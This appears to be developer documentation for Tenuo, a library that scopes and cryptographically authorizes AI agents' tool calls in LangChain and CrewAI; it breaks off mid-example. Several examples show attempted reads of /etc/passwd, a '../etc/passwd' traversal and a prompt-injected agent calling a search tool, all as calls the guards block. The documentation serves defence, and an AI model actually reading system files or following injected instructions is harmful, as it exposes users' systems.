Switch to a real signing key, disable `dev_mode`, and follow the [Production Guide](./production-guide) before deploying. ## Overview Tenuo integrates with LangChain using a **zero-intrusion** pattern: 1. Tools remain pure business logic - no security imports 2. Security is applied at composition time via `guard()` or decorators 3. Warrants are passed through context or explicit `BoundWarrant` 4. Fail-closed: missing or invalid warrants block execution --- ## Installation ```bash uv pip install "tenuo[langchain]" ``` --- ## 30-Second Demo Copy-paste this to see Tenuo in action. No setup required beyond the install. ```python # mdpytest:skip import asyncio from tenuo import configure, mint, guard, Capability, Pattern, SigningKey from langchain_core.tools import tool # One-time setup configure(issuer_key=SigningKey.generate(), dev_mode=True, audit_log=False) # Define a protected tool @tool @guard(tool="search") def search(query: str) -> str: """Search the web.""" return f"Results for: {query}" async def main(): # Scope authority: only "weather*" queries allowed async with mint(Capability("search", query=Pattern("weather*"))): print(search.invoke({"query": "weather NYC"})) # Works try: search.invoke({"query": "stock prices"}) # Blocked except Exception as e: print(f"Blocked: {e}") asyncio.run(main()) ``` **What happened?** - `@guard(tool="search")` marks the tool as requiring authorization - `mint(...)` creates a scoped warrant allowing only `weather*` queries - The second call fails because `stock prices` doesn't match `Pattern("weather*")` Even if an LLM is prompt-injected to call `search("hack commands")`, **the constraint still blocks it**. Try in Colab --- ## LangChain 1.x `create_agent()` If you are on LangChain 1.x, put `TenuoMiddleware` on `create_agent()`. The warrant lives in agent state; the holder key is looked up by id. Requires `langchain>=1.0`. ```python # mdpytest:skip from langchain.agents import create_agent from langchain.agents.middleware import AgentState from langchain_core.tools import tool from tenuo import Pattern, SigningKey, Warrant from tenuo.keys import KeyRegistry from tenuo.langgraph import TenuoMiddleware @tool def search(query: str) -> str: """Search customer records.""" return f"matches for {query}" class TenuoAgentState(AgentState): warrant: object issuer_key = SigningKey.generate() holder_key = SigningKey.generate() KeyRegistry.get_instance().register("support-agent", holder_key) warrant = ( Warrant.mint_builder() .holder(holder_key.public_key) .capability("search", query=Pattern("customers:*")) .ttl(3600) .mint(issuer_key) ) agent = create_agent( model="openai:gpt-4.1", tools=[search], state_schema=TenuoAgentState, middleware=[ TenuoMiddleware( key_id="support-agent", trusted_roots=[issuer_key.public_key], ) ], ) agent.invoke({"messages": [("human", "Look up Acme")], "warrant": warrant}) ``` A runnable version with a scripted model (no API key) is [`create_agent_middleware.py`](https://github.com/tenuo-ai/tenuo/blob/main/tenuo-python/examples/langchain/create_agent_middleware.py). For wrapping individual tools or older `AgentExecutor` agents, use `@guard` below. --- ## Quick Start ### Using `guard()` (tools and older agents) The unified `guard()` function wraps any LangChain tools: ```python from tenuo import Warrant, SigningKey, Pattern from tenuo.langchain import guard from langchain_community.tools import DuckDuckGoSearchRun # 1. Create warrant and bind key key = SigningKey.generate() # In production: SigningKey.from_env("MY_KEY") warrant = (Warrant.mint_builder() .capability("duckduckgo_search", query=Pattern("*")) .holder(key.public_key) .ttl(3600) .mint(key)) bound = warrant.bind(key) # 2. Protect tools protected_tools = guard([DuckDuckGoSearchRun()], bound) # 3. Use in your agent from langchain.agents import AgentExecutor, create_openai_tools_agent from langchain_openai import ChatOpenAI from langchain_core.prompts import ChatPromptTemplate llm = ChatOpenAI(model="gpt-4") prompt = ChatPromptTemplate.from_messages([ ("system", "You are a helpful assistant."), ("human", "{input}"), ("placeholder", "{agent_scratchpad}"), ]) agent = create_openai_tools_agent(llm, protected_tools, prompt) executor = AgentExecutor(agent=agent, tools=protected_tools) result = executor.invoke({"input": "Search for AI news"}) ``` ### Using `@guard` Decorator For tools you define yourself: ```python from tenuo import guard @guard(tool="read_file") def read_file(file_path: str) -> str: """Pure business logic - no security code""" with open(file_path, 'r') as f: return f.read() # Execute with BoundWarrant as context manager bound = warrant.bind(key) with bound: content = read_file("/tmp/test.txt") # Authorized content = read_file("/etc/passwd") # Blocked ``` > **Two `guard` symbols:** `from tenuo import guard` is the `@guard(tool="...")` decorator for individual functions. `from tenuo.langchain import guard` is a list wrapper equivalent to `guard_tools()`. When in doubt, use `guard_tools()`. --- ## The `guard()` Function Unified API for protecting tools - handles both `BaseTool` instances and plain callables: ```python from tenuo.langchain import guard # Protect LangChain BaseTools protected = guard([search_tool, calculator_tool], bw) # Protect plain functions protected = guard([my_func, other_func], bw) ``` **Parameters:** | Parameter | Type | Description | |-----------|------|-------------| | `tools` | `List[Any]` | List of `BaseTool` or callable | | `bound` | `BoundWarrant` | Bound warrant (positional, optional) | | `strict` | `bool` | Require constraints on critical tools | **Returns:** - For `BaseTool` inputs: `List[TenuoTool]` - For callable inputs: `List[Callable]` --- ## The `@guard` Decorator ```python @guard(tool="read_file") def read_file(file_path: str, max_size: int = 1000) -> str: with open(file_path) as f: return f.read()[:max_size] ``` **Parameters:** | Parameter | Description | |-----------|-------------| | `tool` | Tool name to check against warrant (required) | | `extract_args` | Optional function to extract args | | `mapping` | Optional dict to rename parameters | ### How It Works: Dynamic Runtime Evaluation `@guard` does **nothing at decoration time**. Authorization happens **when the function is called**: ``` ┌─────────────────────┐ │ Import Time │ @guard wraps function, stores tool name │ (no warrant yet) │ No authorization check happens here └─────────────────────┘ │ ▼ ┌─────────────────────┐ │ Runtime │ with bound: ← warrant+key set in context │ (warrant exists) │ read_file("/data/x") ← NOW authorization runs └─────────────────────┘ ``` **This means the same function can have different permissions at different times:** ```python @guard(tool="read_file") def read_file(path: str): ... # Task 1: warrant allows /projects/acme/* with warrant_for_acme.bind(key): read_file("/projects/acme/report.pdf") # Allowed read_file("/projects/beta/secret.pdf") # Blocked # Task 2: warrant allows /projects/beta/* with warrant_for_beta.bind(key): read_file("/projects/acme/report.pdf") # Blocked read_file("/projects/beta/secret.pdf") # Allowed ``` ### Authorization Flow When `read_file("/data/x")` is called inside `with bound:`: 1. Wrapper reads warrant and key from context 2. Extracts all parameters including defaults 3. Verifies tool is in warrant's allowed tools 4. Verifies args satisfy warrant constraints 5. Generates PoP signature using the key 6. Executes if authorized, raises `AuthorizationDenied` if not ### Automatic Extraction (Recommended) When no `extract_args` is provided, Tenuo extracts **all** parameters including defaults: ```python @guard(tool="transfer") def transfer(from_account: str, to_account: str, amount: float, memo: str = ""): ... # Called as: transfer("acct1", "acct2", 100.0) # Extracted: {from_account: "acct1", to_account: "acct2", amount: 100.0, memo: ""} ``` ### Parameter Mapping For simple renames: ```python @guard( tool="read_file", mapping={"file_path": "path"} # Rename for constraint matching ) def read_file(file_path: str): ... ``` --- ## Context Management ### Explicit BoundWarrant (Preferred) ```python from tenuo import Warrant, SigningKey key = SigningKey.generate() warrant = (Warrant.mint_builder() .tool("search") .holder(key.public_key) .ttl(3600) .mint(key)) bound = warrant.bind(key) # Pass to guard() protected = guard(tools, bound) ``` ### Context Variables (For Decorators) ```python # BoundWarrant as context manager - sets both warrant and key scope bound = warrant.bind(key) with bound: # All @guard calls use this warrant and key result = protected_function() ``` **Properties:** - Thread-safe (uses `contextvars`) - Async-safe - Nestable (inner context shadows outer) --- ## Error Handling LangChain integration uses typed `TenuoError` exceptions with canonical wire codes: ```python from tenuo.exceptions import ( TenuoError, ToolNotAuthorized, ConstraintViolation, ExpiredError, ) try: result = protected_tool(path="/etc/passwd") except ConstraintViolation as e: print(f"Constraint failed: {e}") print(f"Wire code: {e.get_wire_code()}") # 1501 print(f"Wire name: {e.get_wire_name()}") # "constraint-violation" print(f"HTTP status: {e.get_http_status()}") # 403 except ExpiredError as e: print(f"Warrant expired: {e}") print(f"Wire code: {e.get_wire_code()}") # 1300 except TenuoError as e: # Catch-all for any Tenuo error print(f"Authorization failed: {e}") print(f"Error details: {e.to_dict()}") ``` ### Wire Code Support All exceptions include canonical wire codes (1000-2199) for machine-readable error handling: ```python try: protected_tool(amount=5000) except TenuoError as e: error_dict = e.to_dict() # { # "error_code": "constraint_violation", # Legacy snake_case # "wire_code": 1501, # Canonical numeric code # "wire_name": "constraint-violation", # Canonical kebab-case # "message": "...", # "details": {...} # } ``` ### Common Errors | Error | Wire Code | Cause | Fix | |-------|-----------|-------|-----| | `ToolNotAuthorized` | 1500 | Tool not in warrant | Add tool to warrant | | `ConstraintViolation` | 1501 | Argument violates constraint | Request within bounds | | `ConfigurationError` | 1201 | Missing context/warrant | Use `warrant_scope()` or pass to `guard()` | | `ExpiredError` | 1300 | TTL exceeded | Request fresh warrant | | `SignatureInvalid` | 1100 | Bad PoP signature | Check signing key | | `RevokedError` | 1800 | Warrant revoked | Request new warrant | See [wire format specification](./spec/wire-format-v1#appendix-a-error-code-reference) for the complete list. --- ## Constraints Constraints restrict tool arguments: | Type | Example | Description | |------|---------|-------------| | `Exact` | `Exact("prod")` | Must equal exactly | | `Pattern` | `Pattern("/tmp/*")` | Glob pattern match | | `Subpath` | `Subpath("/data")` | Path containment (blocks traversal) | | `UrlSafe` | `UrlSafe(allow_domains=["api.com"])` | SSRF-protected URLs | | `Shlex` | `Shlex(allow=["ls", "cat"])` | Shell injection protection | | `Regex` | `Regex(r"^prod-.*")` | Regex match | | `Range` | `Range(min=0, max=100)` | Numeric range | | `OneOf` | `OneOf(["a", "b"])` | One of values | --- ## Full Example ```python from langchain.agents import AgentExecutor, create_openai_tools_agent from langchain_openai import ChatOpenAI from langchain_core.prompts import ChatPromptTemplate from tenuo import SigningKey, Warrant, Pattern, Subpath, guard from tenuo.langchain import guard_tools # 1. Create key and warrant key = SigningKey.generate() # In production: SigningKey.from_env("MY_KEY") warrant = (Warrant.mint_builder() .tool("search") # No constraints .capability("read_file", path=Subpath("/tmp")) # With path constraint .holder(key.public_key) .ttl(3600) .mint(key)) bound = warrant.bind(key) # 2. Define tools from langchain_community.tools import DuckDuckGoSearchRun @guard(tool="read_file") def read_file(path: str) -> str: with open(path) as f: return f.read() # 3. Protect tools protected_tools = guard_tools([DuckDuckGoSearchRun(), read_file], bound) # 4. Create agent llm = ChatOpenAI(model="gpt-4") prompt = ChatPromptTemplate.from_messages([ ("system", "You are a helpful assistant."), ("human", "{input}"), ("placeholder", "{agent_scratchpad}"), ]) agent = create_openai_tools_agent(llm, protected_tools, prompt) executor = AgentExecutor(agent=agent, tools=protected_tools) # 5. Run result = executor.invoke({"input": "Read /tmp/test.txt"}) ``` --- ## High-Level APIs ### `auto_protect()` (Zero Config) The fastest way to add protection - defaults to **audit mode** so you can deploy without breaking anything: ```python from tenuo.langchain import auto_protect # Wrap your executor - logs all tool calls, doesn't block protected_executor = auto_protect(executor) result = protected_executor.invoke({"input": "Search for AI news"}) # After analyzing logs, switch to enforce mode protected_executor = auto_protect(executor, mode="enforce") ``` **Parameters:** | Parameter | Type | Default | Description | |-----------|------|---------|-------------| | `agent_or_tools` | `Any` | required | AgentExecutor, list of tools, or single tool | | `mode` | `str` | `"audit"` | `"audit"` (log only), `"enforce"` (block), `"permissive"` (warn) | ### `SecureAgentExecutor` (Drop-in Replacement) A drop-in replacement for LangChain's `AgentExecutor` with built-in protection: ```python from tenuo.langchain import SecureAgentExecutor from tenuo import configure, mint, Capability, SigningKey configure(issuer_key=SigningKey.generate(), dev_mode=True) # Same interface as AgentExecutor executor = SecureAgentExecutor( agent=agent, tools=tools, strict=False, # Require constraints on critical tools warn_on_missing_warrant=True, # Log when tools called without context ) # Use with mint() context async with mint(Capability("search"), Capability("read_file")): result = await executor.ainvoke({"input": "Search and read"}) ``` **Parameters:** | Parameter | Type | Default | Description | |-----------|------|---------|-------------| | `agent` | `Any` | required | LangChain agent | | `tools` | `List[Any]` | required | List of tools | | `strict` | `bool` | `False` | Require constraints on critical tools | | `warn_on_missing_warrant` | `bool` | `True` | Log warnings for unprotected calls | | `schemas` | `Dict[str, Any]` | `None` | Custom tool schemas | ### `guard_tools()` (Wrap Tools) Wrap tools with protection - you manage the `mint()`/`grant()` context: ```python from tenuo.langchain import guard_tools from tenuo import configure, mint_sync, Capability, SigningKey kp = SigningKey.generate() configure(issuer_key=kp, dev_mode=True) # Wrap tools protected_tools = guard_tools([search_tool, calculator], issuer_key=kp) # Create agent with protected tools agent = create_openai_tools_agent(llm, protected_tools, prompt) executor = AgentExecutor(agent=agent, tools=protected_tools) # Run with authorization context with mint_sync(Capability("search"), Capability("calculator")): result = executor.invoke({"input": "Calculate 2+2"}) ``` ### `guard_agent()` (Wrap Entire Executor) Wrap an entire executor with built-in authorization context: ```python from tenuo.langchain import guard_agent from tenuo import SigningKey, Capability, Pattern kp = SigningKey.generate() # One line to add protection protected = guard_agent( executor, issuer_key=kp, capabilities=[ Capability("search"), Capability("read_file", path=Subpath("/data")), ], ) # Now run - authorization is automatic! result = protected.invoke({"input": "Read /data/report.txt"}) ``` **Parameters:** | Parameter | Type | Description | |-----------|------|-------------| | `agent_or_executor` | `Any` | AgentExecutor, RunnableAgent, or agent with tools | | `issuer_key` | `SigningKey` | Signing key (enables dev_mode if provided) | | `capabilities` | `List[Capability]` | Capabilities to scope the agent to | | `strict` | `bool` | Require constraints for critical tools | | `warn_on_missing` | `bool` | Log warnings for missing warrants | --- ## Human Approval Define gates and approvers on the warrant, then pass `approval_handler` to `guard()` or `TenuoTool`. See [Human Approvals](approvals.md) for the full guide. ```python from tenuo.langchain import guard, TenuoTool from tenuo.approval import cli_prompt approver_key = SigningKey.generate() # warrant must include .approval_gates(...) and .required_approvers([...]) tools = guard( [search, transfer_funds], bound_warrant, approval_handler=cli_prompt(approver_key=approver_key), ) # Or per-tool tool = TenuoTool( transfer_funds, bound_warrant=bound_warrant, approval_handler=cli_prompt(approver_key=approver_key), ) ``` --- ## Delegation Chains When an orchestrator delegates a subset of its authority to a worker, the worker's warrant is a *child* of the orchestrator's warrant. To verify the child, `Authorizer.check_chain` must see the full chain of parent warrants. Use `chain_scope` to provide this context. ```python from tenuo import ( SigningKey, Warrant, configure, reset_config, chain_scope, warrant_scope, key_scope, ) from tenuo.langchain import guard_tools issuer = SigningKey.generate() orchestrator = SigningKey.generate() worker = SigningKey.generate() configure(issuer_key=issuer, dev_mode=True) # Root warrant: orchestrator can search, read_file, delete_file root = (Warrant.mint_builder() .capability("search") .capability("read_file") .capability("delete_file") .holder(orchestrator.public_key) .ttl(3600) .mint(issuer)) # Attenuated child: worker can only search and read_file child = (root.grant_builder() .capability("search") .capability("read_file") .holder(worker.public_key) .ttl(1800) .grant(orchestrator)) tools = guard_tools([search_tool, read_file_tool, delete_file_tool]) # Set up delegation context: chain + leaf warrant + signing key with chain_scope([root]): with warrant_scope(child): with key_scope(worker): result = tools[0].invoke({"query": "test"}) # search: allowed # tools[2].invoke({"path": "/x"}) # delete_file: DENIED ``` `chain_scope` provides parent warrants to `enforce_tool_call` so that `Authorizer.check_chain` can walk the delegation chain back to a trusted root. Without it, delegated warrants fail because the child's issuer (the orchestrator) isn't itself a trusted root — the chain is needed to prove that authority was properly delegated from the issuer. --- ## See Also - [LangGraph Integration](./langgraph) -- Multi-agent graph security - [Human Approvals](./approvals) -- Approval gates and handlers guide - [Argument Extraction](./constraints#argument-extraction) -- How extraction works - [Security](./security) -- Threat model, best practices - [API Reference](./api-reference) -- Full Python API documentation --- # Tenuo CrewAI Integration Source: https://tenuo.ai/crewai ## Overview Tenuo integrates with [CrewAI](https://crewai.com) using a **two-tier** protection model designed for multi-agent workflows: | Tier | Setup | Best For | |------|-------|----------| | **Tier 1: Guardrails** | Inline constraints | Quick hardening, prototyping, single-crew agents | | **Tier 2: Warrants** | Warrant + signing key | Hierarchical crews, distributed execution, audit requirements | **Tier 1** catches LLM mistakes and prompt injection with minimal setup. Constraints are defined inline in your code. **Tier 2** adds cryptographic proof. Warrants are issued by a control plane and include Proof-of-Possession (PoP) for each tool call. Required for hierarchical crews and delegation. > [!IMPORTANT] > **Production Recommendation**: Use **Tier 2** with `guard.register()` for production deployments. The hooks API intercepts all tool calls at the framework level—no wrapping needed. --- ## Installation ```bash uv pip install "tenuo[crewai]" ``` --- ## Quick Start ### Tier 1: Guardrails (5 minutes) Use the **builder pattern** for semantic constraints, then register as a hook: ```python from crewai import Agent, Task, Crew, Tool from tenuo.crewai import GuardBuilder, Pattern, Subpath # Define tools search_tool = Tool( name="search", description="Search the web", func=lambda query: f"Results for: {query}" ) read_tool = Tool( name="read_file", description="Read a file", func=lambda path: f"Contents of: {path}" ) # Create guard with constraints guard = (GuardBuilder() .allow("search", query=Pattern("*")) .allow("read_file", path=Subpath("/data")) .on_denial("raise") .build()) # Register as a global hook — ALL tool calls go through this guard guard.register() # Use tools in agent (no wrapping needed) agent = Agent( role="Researcher", goal="Find and read research data", tools=[search_tool, read_tool], ) # Unauthorized calls are blocked # agent.execute("Read /etc/passwd") -- CrewAIConstraintViolation! ``` ### Class-Based Hook (Global Scope) To organize authorization in a `@CrewBase` class, call `guard.authorize_hook(context)` from a method decorated with CrewAI's `@before_tool_call`: > **These hooks are global, not crew-scoped.** Constructing the class registers its method in CrewAI's process-wide hook registry. Its policy also applies to other crews in that process. Do not use separate class instances to isolate different crews' authorization policies; use separately protected tools or separate processes instead. ```python from crewai.project import CrewBase from crewai.hooks import before_tool_call from tenuo import Pattern from tenuo.crewai import GuardBuilder, Subpath @CrewBase class MyProjCrew: def __init__(self): self.guard = (GuardBuilder() .allow("read_file", path=Subpath("/data")) .allow("search", query=Pattern("*")) .on_denial("raise") .build()) @before_tool_call def authorize(self, context): return self.guard.authorize_hook(context) ``` ### Tier 2: Warrants For hierarchical crews with cryptographic authorization: ```python from tenuo import Pattern, SigningKey, Warrant from tenuo.crewai import GuardBuilder, Subpath # Agent holds warrant and signing key agent_key = SigningKey.generate() warrant = (Warrant.mint_builder() .capability("read_file", {"path": Subpath("/data")}) .capability("search") .holder(agent_key.public_key) .ttl(3600) .mint(control_plane_key)) # Build guard with warrant guard = (GuardBuilder() .allow("read_file", path=Subpath("/data")) .allow("search", query=Pattern("*")) .with_warrant(warrant, agent_key) .build()) # Register — each tool call is now cryptographically authorized guard.register() ``` ### Human Approval Define gates and approvers on the warrant, then pass `.on_approval()`. See [Human Approvals](approvals.md) for the full guide. ```python from tenuo.approval import cli_prompt from tenuo.crewai import GuardBuilder guard = (GuardBuilder() .allow("transfer_funds", amount=Range(0, 100_000)) .with_warrant(warrant, agent_key) .on_approval(cli_prompt(approver_key=approver_key)) .build()) guard.register() ``` --- ## Warrant Lifecycle Warrants (Tier 2) are time-bound credentials. They expire automatically to limit the window of opportunity for attackers. ### Time-To-Live (TTL) Set a TTL (in seconds) when minting or delegating: ```python # 1 hour TTL warrant = Warrant.mint_builder().ttl(3600)... # Delegation with reduced TTL (e.g., 5 minutes) child = delegator.delegate(..., ttl=300) ``` Also supports string format in `guarded_step`: `ttl="15m"`. ### Expiry Handling When a warrant expires, all tool calls raise `WarrantExpired`. **Best Practice:** 1. **Short-lived warrants** for active tasks (e.g., 5-15 mins). 2. **Refresh flow**: If `WarrantExpired` is caught, the agent should request a new warrant from the control plane (if architected to do so) or fail the task for manual intervention. ### Debugging WarrantExpired If you see `WarrantExpired` prematurely: - Check server/client clock synchronization. - Verify `ttl` is in seconds (integers) or correct format strings. - Ensure delegation chain parents have not expired (child cannot outlive parent). --- ## Agent Namespacing CrewAI crews often have multiple agents with tools of the same name but different security requirements. **Solution:** Use namespaced constraints with `register()`: ```python from tenuo import Pattern from tenuo.crewai import GuardBuilder guard = (GuardBuilder() # Global constraint (fallback) .allow("search", query=Pattern("*")) # Agent-specific constraints (take precedence) .allow("researcher::search", query=Pattern("arxiv:*")) .allow("writer::search", query=Pattern("internal:*")) .build()) # Register as global hook — agent role is resolved automatically # from the CrewAI hook context (context.agent.role) guard.register() # researcher can only search arxiv:* # writer can only search internal:* ``` **Resolution order:** 1. `agent_role::tool_name` (exact match) 2. `tool_name` (global fallback) 3. Reject if neither exists --- ## Constraints Tenuo provides semantic constraints that block specific attack vectors: | Type | Example | Protects Against | |------|---------|------------------| | `Subpath(root)` | `Subpath("/data")` | Path traversal (`../etc/passwd`) | | `path_glob(root, glob)` | `path_glob("/data", "*.pdf")` | Arbitrary file access | | `Pattern(glob)` | `Pattern("*.pdf")` | Unexpected value shapes — **not** file access: `*` crosses `/`, so this alone admits `/etc/passwd.pdf` | | `OneOf([values])` | `OneOf(["dev", "prod"])` | Injection attacks | | `Range(min, max)` | `Range(0, 100)` | Parameter tampering | | `UrlSafe()` | `UrlSafe()` | SSRF attacks | | `Regex(pattern)` | `Regex(r"^[a-z]+$")` | Format violations | | `Wildcard()` | `Wildcard()` | Allow any value | ### Zero Trust for Arguments > [!IMPORTANT] > Once you add **any** constraint to a tool, Tenuo enforces "closed-world" for that tool. > **Any unlisted argument is REJECTED**. ```python # Blocks call with 'timeout' arg because it's unknown guard = GuardBuilder().allow("api_call", url=UrlSafe()).build() # agent calls api_call(url="...", timeout=30) -- UnlistedArgument! # Explicitly allow unknown args guard = GuardBuilder().allow("api_call", url=UrlSafe(), timeout=Wildcard()).build() ``` --- ## Delegation (Hierarchical Crews) CrewAI's hierarchical process mode allows a manager to delegate tasks to workers. Tenuo's `WarrantDelegator` ensures delegation follows **attenuation-only** rules: child warrants can only narrow scope, never expand. > [!TIP] > Use `chain_scope` on the parent warrant to limit maximum delegation depth and prevent unbounded chains in complex multi-agent crews. ```python from tenuo import Pattern from tenuo.crewai import WarrantDelegator delegator = WarrantDelegator() # Manager delegates to researcher with narrowed scope researcher_warrant = delegator.delegate( parent_warrant=manager_warrant, parent_key=manager_key, child_holder=researcher.public_key, attenuations={ "search": {"query": Pattern("arxiv:*")}, # Only arxiv "fetch": {"url": Pattern("https://arxiv.org/*")}, }, ttl=300, # 5 minute delegation ) # Researcher can ONLY search arxiv (even if manager has broader access) ``` ### Escalation Prevention Delegation is blocked if: - Child requests a tool the parent doesn't have - Child constraint would widen access ```python # Manager has: search(query=Pattern("arxiv:*")) # Fails: widening constraint delegator.delegate( ..., attenuations={"search": {"query": Pattern("*")}}, # EscalationAttempt! ) # Fails: new tool delegator.delegate( ..., attenuations={"delete_all": {"target": Wildcard()}}, # EscalationAttempt! ) ``` --- ## Flow Integration (@guarded_step) For CrewAI Flows, use the `@guarded_step` decorator to scope authorization to individual steps: ```python from crewai import Flow, step from tenuo.crewai import guarded_step, Pattern, Wildcard class ResearchFlow(Flow): @guarded_step( allow={"web_search": {"query": Wildcard()}}, ttl="10m", strict=True # Fail if unguarded tools detected ) def research_step(self, state): return self.research_crew.kickoff(state) @guarded_step( allow={"send_email": {"recipients": Pattern("*@company.com")}}, ttl="5m" ) def notify_step(self, state): return self.email_agent.execute(state) ``` ### Decorator Parameters | Parameter | Description | |-----------|-------------| | `allow` | Dict of tool_name -> constraints (Tier 1) | | `warrant` | Warrant for Tier 2 | | `signing_key` | Key for PoP signature | | `ttl` | Step TTL like "10m", "1h", "1d" | | `strict` | Fail if unguarded calls detected | | `audit` | Audit callback | ### Strict Mode When `strict=True`, the decorator tracks all tool calls during step execution. If any unguarded tool is called, `UnguardedToolError` is raised after the step completes. ```python from tenuo.crewai import get_active_guard, is_strict_mode # Check if currently in a guarded context guard = get_active_guard() # Returns CrewAIGuard or None strict = is_strict_mode() # True if strict mode active ``` --- ## Crew-Level Guard (GuardedCrew) For crew-wide protection with policy-based per-agent authorization: ```python from tenuo.crewai import GuardedCrew, Pattern, Subpath crew = (GuardedCrew( agents=[researcher, writer, reviewer], tasks=[research_task, write_task, review_task], process=Process.sequential) .policy({ "researcher": ["web_search", "read_file"], "writer": ["write_file"], "reviewer": ["read_file", "send_email"], }) .constraints({ "researcher": { "web_search": {"query": Pattern("arxiv:*")}, "read_file": {"path": Subpath("/data")}, }, }) .on_denial("raise") .strict() # Enable strict mode .build()) result = crew.kickoff(inputs={"topic": "AI safety"}) ``` ### Builder Methods | Method | Description | |--------|-------------| | `.policy({})` | Map agent role to allowed tools | | `.constraints({})` | Map agent role to tool to constraints | | `.with_issuer(warrant, key)` | Set warrant issuer for Tier 2 | | `.on_denial(mode)` | Denial handling mode | | `.audit(callback)` | Audit callback for all agents | | `.strict()` | Enable strict mode | | `.ttl(ttl)` | Set TTL for generated warrants | | `.build()` | Build the GuardedCrew | --- ## Denial Modes Configure how denials are handled based on your environment: ```python from tenuo import Pattern from tenuo.crewai import GuardBuilder guard = (GuardBuilder() .allow("search", query=Pattern("*")) .on_denial("raise") # "raise", "log", or "skip" .build()) guard.register() ``` ### Use Case Analysis | Mode | Behavior | Use Case | Trade-off | |------|----------|----------|-----------| | `"raise"` | Exception | **Production** | Fail-closed on denial; callers must handle the exception. | | `"log"` | Return `DenialResult` | **Development** | Visible errors without crashing agent, but dangerous if result ignored. | | `"skip"` | Return `DenialResult` | **Legacy/Transition** | Simulates "tool unavailable", might confuse agent. | ### Production Recommendations > [!IMPORTANT] > **Always use `"raise"` in production.** > Fail-closed behavior is critical for security. Using `"log"` or `"skip"` can lead to silent failures where an attacker bypasses controls without detection. ### Handling DenialResult (Non-Raising Modes) When utilizing `"log"` or `"skip"`, checks must be explicit: ```python result = protected_tool.func(path="/etc/passwd") if isinstance(result, DenialResult): # Logged but didn't raise print(f"Blocked: {result.reason}") else: # Success pass ``` --- ## Audit Logging Track all authorization decisions: ```python from tenuo import Pattern from tenuo.crewai import GuardBuilder, AuditEvent def audit_callback(event: AuditEvent): print(f"{event.decision}: {event.tool}") if event.decision == "DENY": print(f" Reason: {event.reason}") guard = (GuardBuilder() .allow("search", query=Pattern("*")) .audit(audit_callback) .build()) guard.register() ``` ### AuditEvent Fields | Field | Description | |-------|-------------| | `tool` | Tool being called | | `arguments` | Tool arguments | | `decision` | `"ALLOW"` or `"DENY"` | | `reason` | Why decision was made | | `error_code` | Machine-readable error code (if denied) | | `agent_role` | Agent role (if set) | | `timestamp` | ISO 8601 timestamp | --- ## Introspection ### Explain Decisions ```python explanation = guard.explain("read_file", {"path": "/data/report.txt"}) print(explanation.status) # "ALLOWED" or "DENIED" print(explanation.reason) # Why ``` ### Tier Detection ```python print(guard.tier) # 1 or 2 print(guard.has_warrant) # True if Tier 2 if guard.tier == 2: info = guard.warrant_info() print(f"Warrant expires in {info['ttl_remaining']}s") print(f"Tools: {info['tools']}") ``` ### Validation Check configuration before production: ```python warnings = guard.validate() for warning in warnings: print(f"WARNING: {warning}") ``` --- ## Error Handling Patterns Robust agents should handle authorization failures gracefully. ### Try/Catch Patterns ```python from tenuo.crewai import ( ToolDenied, CrewAIConstraintViolation, UnlistedArgument, WarrantExpired, InvalidPoP, EscalationAttempt ) try: result = protected_tool.func(arg="value") except ToolDenied: # Retrying won't help unless we use a different tool agent.memory.add("Tool access denied. Trying alternative...") return execute_alternative() except CrewAIConstraintViolation as e: # Argument validation failed. Agent can correct the argument. agent.memory.add(f"Argument invalid: {e}. Retrying with valid constraints.") return retry_with_correction() except WarrantExpired: # Credential dead. Hard stop or request refresh. system.alert("Warrant expired during active task") raise except (InvalidPoP, EscalationAttempt): # Potential security breach or misconfiguration system.security_alert("Integrity check failed!") raise ``` ### DenialResult Usage When using `.on_denial("log")` or `.on_denial("skip")`, exceptions are suppressed. Check the result explicitly: ```python result = protected_tool.func(...) if isinstance(result, DenialResult): print(f"Action Blocked: {result.reason}") # Recovery: skip this step or try another parameter else: process(result) ``` ### Error Reference Table | Error | Tier | Recovery Strategy | |-------|------|-------------------| | `ToolDenied` | 1+ | Use different tool | | `CrewAIConstraintViolation` | 1+ | Retry with compliant arguments | | `UnlistedArgument` | 1+ | Remove extra arguments | | `EscalationAttempt` | 1+ | Do not escalate privileges | | `UnguardedToolError` | 1+ | (Strict Mode) Fix configuration | | `WarrantExpired` | 2 | Refresh warrant | | `InvalidPoP` | 2 | Check signing key configuration | | `MissingSigningKey` | 2 | Provide signing key | --- ## Full Example: Hierarchical Research Crew ```python from crewai import Agent, Task, Crew, Tool, Process from tenuo import SigningKey, Warrant from tenuo.crewai import ( GuardBuilder, WarrantDelegator, Pattern, Subpath, Range, ) # ============================================================================= # 1. Define Tools # ============================================================================= search_tool = Tool( name="search", description="Search academic papers", func=lambda query, max_results=10: f"Found {max_results} results for: {query}" ) read_tool = Tool( name="read_file", description="Read a file", func=lambda path: f"Contents of: {path}" ) summarize_tool = Tool( name="summarize", description="Summarize text", func=lambda text, style="brief": f"Summary ({style}): {text[:100]}..." ) # ============================================================================= # 2. Create Warrants (Tier 2) # ============================================================================= control_plane_key = SigningKey.generate() manager_key = SigningKey.generate() researcher_key = SigningKey.generate() writer_key = SigningKey.generate() # Manager warrant: broad access manager_warrant = (Warrant.mint_builder() .capability("search", {"query": Pattern("*"), "max_results": Range(1, 50)}) .capability("read_file", {"path": Subpath("/research")}) .capability("summarize") .holder(manager_key.public_key) .ttl(3600) .mint(control_plane_key)) # ============================================================================= # 3. Delegate to Workers # ============================================================================= delegator = WarrantDelegator() # Researcher: only arxiv searches researcher_warrant = delegator.delegate( parent_warrant=manager_warrant, parent_key=manager_key, child_holder=researcher_key.public_key, attenuations={ "search": {"query": Pattern("arxiv:*"), "max_results": Range(1, 20)}, "read_file": {"path": Subpath("/research/papers")}, }, ttl=1800, ) # Writer: only summarization writer_warrant = delegator.delegate( parent_warrant=manager_warrant, parent_key=manager_key, child_holder=writer_key.public_key, attenuations={ "summarize": {"text": Pattern("*"), "style": Pattern("*")}, "read_file": {"path": Subpath("/research/drafts")}, }, ttl=1800, ) # ============================================================================= # 4. Build Guards and Register as Hooks # ============================================================================= researcher_guard = (GuardBuilder() .allow("search", query=Pattern("arxiv:*"), max_results=Range(1, 20)) .allow("read_file", path=Subpath("/research/papers")) .with_warrant(researcher_warrant, researcher_key) .build()) writer_guard = (GuardBuilder() .allow("summarize", text=Pattern("*"), style=Pattern("*")) .allow("read_file", path=Subpath("/research/drafts")) .with_warrant(writer_warrant, writer_key) .build()) # Register guards — agent role is resolved from hook context automatically researcher_guard.register(agent_role="Researcher") writer_guard.register(agent_role="Writer") # ============================================================================= # 5. Create Agents and Run Crew (tools are unmodified) # ============================================================================= researcher = Agent( 